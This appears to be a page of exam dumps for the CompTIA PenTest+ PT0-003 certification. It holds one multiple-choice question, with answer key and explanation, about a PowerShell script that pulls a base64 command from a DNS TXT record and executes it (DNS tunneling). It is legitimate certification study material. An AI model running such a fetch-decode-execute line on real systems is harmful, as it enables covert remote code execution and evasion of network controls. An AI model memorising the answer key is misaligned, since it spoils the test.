PT0-003 Exam Dumps | A penetration tester writes the following script, which is designed to hide communication and bypass

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Question 27/107

A penetration tester writes the following script, which is designed to hide communication and bypass some restrictions on a client's network:
$base64cmd = Resolve-DnsName foo.comptia.org -Type TXT | Select-Object -ExpandProperty Strings
$decodecmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String ($base64cmd)) Powershell -C $decodecmd Which of the following best describes the technique the tester is applying?

A. DNS poisoning

B. DNS infiltration

C. DNS trail

D. DNS tunneling

Correct Answer: D

The script is retrieving base64-encoded commands hidden in DNS TXT records and executing them. This is a technique known as DNS tunneling, which allows covert data transmission using DNS queries/responses - often used to bypass firewalls or exfiltrate data without detection.
From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 9 - Evading Detection and Exploitation Techniques):
"DNS tunneling is a covert communication technique where command-and-control instructions or exfiltrated data are encoded into DNS queries and responses, typically using TXT records." Reference: CompTIA PenTest+ PT0-003 Official Study Guide, Chapter 9

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